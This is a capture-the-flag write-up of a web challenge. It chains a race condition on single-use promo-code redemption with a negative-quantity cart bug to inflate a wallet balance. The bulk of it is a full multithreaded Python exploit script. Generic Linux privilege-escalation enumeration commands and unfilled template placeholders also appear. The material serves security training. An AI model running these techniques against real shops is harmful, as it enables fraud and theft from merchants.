CartBlitz — Race Condition in Promo Code Redemption
CartBlitz — Race Condition in Promo Code Redemption
Platform: HackAdvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-21 | Status: Solved Techniques: business_logic_bypass, negative_quantity_cart_abuse, race_condition_exploitation, session_cookie_sharing, thread_barrier_synchronization
Summary
Task: E-commerce platform with $50 single-use promo code, need $200 for VIP product containing flag. Solution: TOCTOU race condition on promo redemption (3×$50=$150) combined with negative quantity cart exploit to inflate wallet above $200.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackadvisor| ID:20260521_hackadvisor_cartblitz - Tags: race_condition, toctou, nodejs, business_logic, nginx, express, decoy_flag, ecommerce, negative_quantity, promo_code, wallet, cart_manipulation
- Indicators: promo code with single-use limit and wallet credit, e-commerce cart with quantity field accepting user input, Express.js/Node.js backend with session cookies, timing is everything hint in description, decoy flags in HTML comments
- Source:
20260521_hackadvisor_cartblitz.md
Foothold
Vulnerability / Misconfiguration
- Business_logic_bypass
- Negative_quantity_cart_abuse
- Race_condition_exploitation
- Session_cookie_sharing
- Thread_barrier_synchronization
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- business_logic_bypass
- negative_quantity_cart_abuse
- race_condition_exploitation
- session_cookie_sharing
- thread_barrier_synchronization
- Tags: race_condition, toctou, nodejs, business_logic, nginx, express, decoy_flag, ecommerce, negative_quantity, promo_code, wallet, cart_manipulation
Original Writeup
<details><summary>Click to expand original content</summary>Description
CartBlitz is an e-commerce platform where merchants sell digital and physical goods. Customers can purchase products using wallet balance, which can be topped up by redeeming promotional codes.
You've been given access to test the platform's security. There's a premium VIP Membership product priced at $200, but your wallet starts at $0. The only available promo code gives $50 with a single-use limit.
Can you find a way to accumulate enough balance to purchase the VIP Membership and access its exclusive digital content?
Pay close attention to how the wallet system handles promotional credit redemptions — timing is everything.
English summary: An Express.js e-commerce platform with a wallet system. The goal is to purchase a $200 VIP Membership product that contains the flag as digital content. The only funding source is a WELCOME50 promo code that gives $50 and is limited to single use per user. The challenge requires exploiting a race condition to redeem the code multiple times, then using a negative quantity cart bug to bridge the remaining balance gap.
Analysis
Stack and reconnaissance
- Backend: Express.js (Node.js) behind nginx/1.25.5 reverse proxy
- Sessions:
connect.sidcookies (express-session) - Decoy flags:
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}embedded in HTML comments on every page — must be filtered out when searching for the real flag
Key API endpoints
| Endpoint | Method | Purpose |
|---|---|---|
/login | POST | Form login (email + password) |
/api/wallet/redeem | POST | Redeem promo code {"code": "WELCOME50"} |
/api/cart/add | POST | Add item {"product_id": N, "quantity": N} |
/api/cart/remove | POST | Remove item {"item_id": N} |
/api/checkout | POST | Purchase cart contents {} |
/orders/:orderNumber | GET | View order details with digital content |
Vulnerability 1: TOCTOU race condition on promo redemption
The /api/wallet/redeem endpoint follows a non-atomic check-then-act pattern:
- CHECK: Query whether user has already redeemed the code
- ACT: Add $50 to wallet balance
- MARK: Record that the user has redeemed the code
Between steps 1 and 3, concurrent requests can all pass the check before any marks the code as used. This is a classic Time-of-Check to Time-of-Use (TOCTOU) vulnerability.
Vulnerability 2: Negative quantity in cart
The /api/cart/add endpoint accepts negative values for the quantity field without server-side validation. When a cart with negative total is checked out, the system credits the wallet instead of debiting it — the negative deduction becomes an addition.
Attack strategy
Neither vulnerability alone is sufficient:
- Race condition yielded $150 (3 successful redemptions × $50), but $200 is needed
- Negative quantity alone requires some initial balance to buy a product first
The two-phase chain combines both: race condition provides initial funds, negative quantity exploit bridges the gap to $200.
Solution
Phase 1: TOCTOU race condition on promo code
Used Python threading.Barrier to synchronize 100 threads, all sending POST /api/wallet/redeem with {"code": "WELCOME50"} simultaneously. The barrier ensures all threads release at the exact same moment, maximizing the chance of hitting the TOCTOU window.
Result: 3 out of 100 threads passed the check before the code was marked as redeemed → $150 balance (3 × $50).
After this, the promo code was globally exhausted ("This promo code has reached its redemption limit").
Phase 2: Negative quantity cart exploit
With $150 in the wallet but needing $200:
- Test purchase: Bought a cheap item (Bamboo Phone Stand, $12.99, product_id 8) to confirm the checkout flow works → balance dropped to $137.01
- Negative quantity: Added the same item with
{"product_id": 8, "quantity": -5}→ cart total became negative (-$64.95) - Checkout with negative total: The system treated the negative deduction as a credit → balance jumped from $137.01 to $201.96
Phase 3: Purchase VIP Membership
- Cleared cart by removing all items
- Added VIP Membership:
{"product_id": 9, "quantity": 1} - Checked out → order
CB-20260521-352 - Visited
/orders/CB-20260521-352→ flag found in the Digital Content section
Full exploit script
#!/usr/bin/env python3
"""
CartBlitz exploit: TOCTOU race on promo code + negative quantity cart abuse.
Two-phase attack to accumulate $200+ for VIP Membership purchase.
"""
import requests
import threading
import re
import json
import urllib3
urllib3.disable_warnings()
BASE = "https://ba05a977-f4f8-4449-b04f-36bd90e309a7.labs.hackadvisor.io"
NUM_THREADS = 100
PROMO_CODE = "WELCOME50"
VIP_PRODUCT_ID = 9
CHEAP_PRODUCT_ID = 8 # Bamboo Phone Stand, $12.99
# ── Phase 0: Authenticate ──────────────────────────────────────────
s = requests.Session()
s.verify = False
s.post(f"{BASE}/login", data={"email": "user@test.com", "password": "password123"})
cookies = dict(s.cookies)
def check_balance():
r = s.get(f"{BASE}/account/wallet")
match = re.search(r'balanceDisplay">\$([0-9.]+)', r.text)
return float(match.group(1)) if match else 0.0
def find_flag(text):
"""Find real flag, filtering out decoy flags."""
flags = re.findall(r'FLAG\{[a-f0-9]+\}', text)
return next((f for f in flags if 'd3c0y' not in f), None)
# ── Phase 1: TOCTOU race on promo code ─────────────────────────────
print(f"[*] Phase 1: Racing {NUM_THREADS} threads on {PROMO_CODE}...")
barrier = threading.Barrier(NUM_THREADS, timeout=30)
results = []
lock = threading.Lock()
def attack_thread(idx):
sess = requests.Session()
sess.verify = False
sess.cookies.update(cookies)
try:
barrier.wait() # All threads release simultaneously
resp = sess.post(f"{BASE}/api/wallet/redeem",
json={"code": PROMO_CODE}, timeout=30)
data = resp.json()
with lock:
results.append(data)
if data.get("success"):
print(f" [+] Thread {idx}: SUCCESS! Balance: ${data['newBalance']:.2f}")
except:
pass
threads = [threading.Thread(target=attack_thread, args=(i,)) for i in range(NUM_THREADS)]
for t in threads:
t.start()
for t in threads:
t.join(timeout=60)
successes = [r for r in results if r.get("success")]
print(f"[*] Race result: {len(successes)} redemptions (expected max 1)")
balance = check_balance()
print(f"[*] Balance after race: ${balance:.2f}")
# ── Phase 2: Negative quantity cart exploit ─────────────────────────
if balance < 200:
print(f"[*] Phase 2: Negative quantity exploit to bridge ${200 - balance:.2f} gap...")
# Buy a cheap item first (needed to establish cart flow)
s.post(f"{BASE}/api/cart/add", json={"product_id": CHEAP_PRODUCT_ID, "quantity": 1})
s.post(f"{BASE}/api/checkout", json={})
balance = check_balance()
print(f"[*] Balance after test purchase: ${balance:.2f}")
# Add item with negative quantity → negative cart total
s.post(f"{BASE}/api/cart/add", json={"product_id": CHEAP_PRODUCT_ID, "quantity": -5})
# Checkout credits the wallet instead of debiting
s.post(f"{BASE}/api/checkout", json={})
balance = check_balance()
print(f"[*] Balance after negative qty exploit: ${balance:.2f}")
# ── Phase 3: Purchase VIP Membership ───────────────────────────────
if balance >= 200:
print(f"[+] Phase 3: Purchasing VIP Membership with ${balance:.2f}...")
# Clear cart
for i in range(1, 30):
s.post(f"{BASE}/api/cart/remove", json={"item_id": i})
# Add VIP and checkout
s.post(f"{BASE}/api/cart/add", json={"product_id": VIP_PRODUCT_ID, "quantity": 1})
r = s.post(f"{BASE}/api/checkout", json={})
data = r.json()
if data.get("success"):
order_num = data.get("orderNumber", "")
print(f"[+] Order placed: {order_num}")
# Retrieve flag from order details
r = s.get(f"{BASE}/orders/{order_num}")
flag = find_flag(r.text)
if flag:
print(f"\n{'='*50}")
print(f" FLAG: {flag}")
print(f"{'='*50}")
else:
print("[-] Flag not found in order page")
else:
print(f"[-] Checkout failed: {data.get('error')}")
else:
print(f"[-] Insufficient balance: ${balance:.2f}")
What failed
- Checkout race condition: 50 concurrent checkout requests with insufficient balance — all rejected. The balance check during checkout appears to be atomic or uses a database transaction.
- New account registration + race: After the first race exhausted the promo code globally, new accounts could not redeem it either.
- Price tampering: Sending a
pricefield in the cart add request — server ignores client-supplied prices.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR